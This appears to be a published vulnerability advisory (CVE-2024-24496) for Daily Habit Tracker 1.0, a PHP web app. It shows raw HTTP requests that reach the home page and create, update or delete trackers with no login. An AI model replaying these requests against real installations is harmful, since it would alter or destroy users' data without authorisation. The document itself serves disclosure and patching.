# Exploit Title: Daily Habit Tracker 1.0 - Broken Access Control# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24496### Broken Access Control:> Broken Access Control is a security vulnerability arising when a web application inadequately restricts user access to specific resources and functions. It involves ensuring users are authorized only for the resources and functionalities intended for them.### Affected Components:> home.php, add-tracker.php, delete-tracker.php, update-tracker.php### Description:> Broken access control enables unauthenticated attackers to access the home page and to create, update, or delete trackers without providing credentials.## Proof of Concept:### Unauthenticated Access to Home page> To bypass authentication, navigate to 'http://yourwebsitehere.com/home.php'. The application does not verify whether the user is authenticated or authorized to access this page.### Create Tracker as Unauthenticated UserTo create a tracker, use the following request:```POST /habit-tracker/endpoint/add-tracker.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 108Origin: http://localhostDNT: 1Connection: closeReferer: http://localhost/habit-tracker/home.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1date=1443-01-02&day=Monday&exercise=Yes&pray=Yes&read_book=Yes&vitamins=Yes&laundry=Yes&alcohol=Yes&meat=Yes```### Update Tracker as Unauthenticated UserTo update a tracker, use the following request:```POST /habit-tracker/endpoint/update-tracker.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 121Origin: http://localhostDNT: 1Connection: closeReferer: http://localhost/habit-tracker/home.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1tbl_tracker_id=5&date=1443-01-02&day=Monday&exercise=No&pray=Yes&read_book=No&vitamins=Yes&laundry=No&alcohol=No&meat=Yes```### Delete Tracker as Unauthenticated User:To delete a tracker, use the following request:```GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brDNT: 1Connection: closeReferer: http://localhost/habit-tracker/home.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1```## RecommendationsWhen using this tracking system, it is essential to update the application code to ensure that proper access controls are in place.
